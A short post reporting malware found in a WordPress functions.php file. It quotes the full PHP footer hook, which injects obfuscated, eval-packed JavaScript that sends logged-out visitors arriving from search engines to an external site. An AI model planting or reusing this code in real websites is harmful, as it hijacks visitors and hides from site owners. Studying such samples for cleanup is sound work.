malware found in functions.php

<?php
add_action('get_footer', 'add_sscounter');
    function add_sscounter(){
        echo '<!--scounter-->';
        if(function_exists('is_user_logged_in')){
            if(time()%2 == 0 && !is_user_logged_in()){
                echo "<script language=\"JavaScript\">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\\b'+e(c)+'\\\b','g'),k[c]);return p}('e r=x.9,t=\"\",q;4(r.3(\"m.\")!=-1)t=\"q\";4(r.3(\"7.\")!=-1)t=\"q\";4(r.3(\"8.\")!=-1)t=\"p\";4(r.3(\"a.\")!=-1)t=\"q\";4(r.3(\"f.\")!=-1)t=\"g\";4(r.3(\"j.\")!=-1)t=\"q\";4(t.6&&((q=r.3(\"?\"+t+\"=\"))!=-1||(q=r.3(\"&\"+t+\"=\"))!=-1))B.C=\"v\"+\"w\"+\":/\"+\"/A\"+\"b\"+\"k\"+\"5\"+\"h.\"+\"c\"+\"z/s\"+\"u\"+\"5\"+\"h.p\"+\"d?\"+\"t\"+\"y=1&t\"+\"i\"+\"l=\"+r.n(q+2+t.6).o(\"&\")[0];',39,39,'|||indexOf|if|rc|length|msn|yahoo|referrer|altavista|ogo|bi|hp|var|aol|query|
|er|ask|sea|ms|google|substring|split||||||ea|ht|tp|document|||go|window|
location'.split('|'),0,{}))</script>";
            }
        }
    }
?>